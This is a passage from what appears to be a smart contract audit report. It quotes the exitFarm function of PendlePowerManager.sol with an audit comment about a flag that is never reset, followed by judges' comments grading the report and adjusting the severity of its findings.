Contract: PendlePowerManager.sol 210: function exitFarm( 211: uint256 _keyId, 212: uint256 _allowedSpread, 213: bool _ethBack 214: ) 215: external 216: updatePools 217: onlyKeyOwner(_keyId) 218: { 219: uint256 wiseLendingNFT = farmingKeys[ 220: _keyId 221: ]; 222: 223: delete farmingKeys[ 224: _keyId 225: ]; 226: 227: if (reservedKeys[msg.sender] == _keyId) { 228: reservedKeys[msg.sender] = 0; 229: } else { 230: FARMS_NFTS.burnKey( 231: _keyId 232: ); 233: } 234: 235: availableNFTs[ 236: ++availableNFTCount 237: ] = wiseLendingNFT; 238: 239: _closingPosition( 240: isAave[_keyId],//@audit if this remains as True, it will remain true 241: wiseLendingNFT, 242: _allowedSpread, 243: _ethBack 244: ); 245: 246: emit FarmExit( 247: _keyId, 248: wiseLendingNFT, 249: _allowedSpread, 250: block.timestamp 251: ); 252: }
#0 - c4-pre-sort
2024-03-13T08:52:05Z
GalloDaSballo marked the issue as high quality report
#1 - c4-pre-sort
2024-03-17T10:46:34Z
GalloDaSballo marked the issue as sufficient quality report
#2 - c4-judge
2024-03-26T11:13:59Z
trust1995 marked the issue as grade-a
#3 - trust1995
2024-03-26T11:15:12Z
@vm06007 Would like team responses for each suggestion in here as it is the best report.
#4 - c4-judge
2024-03-26T11:15:15Z
trust1995 marked the issue as selected for report
#5 - trust1995
2024-03-27T10:24:11Z
[L-02] is not necessarily valid, it depends on sponsor's interpretation of slippage value.
#6 - trust1995
2024-04-15T21:13:13Z
L-04 is reduced to NC severity. L-05 belongs to analysis report because it is a centralization risk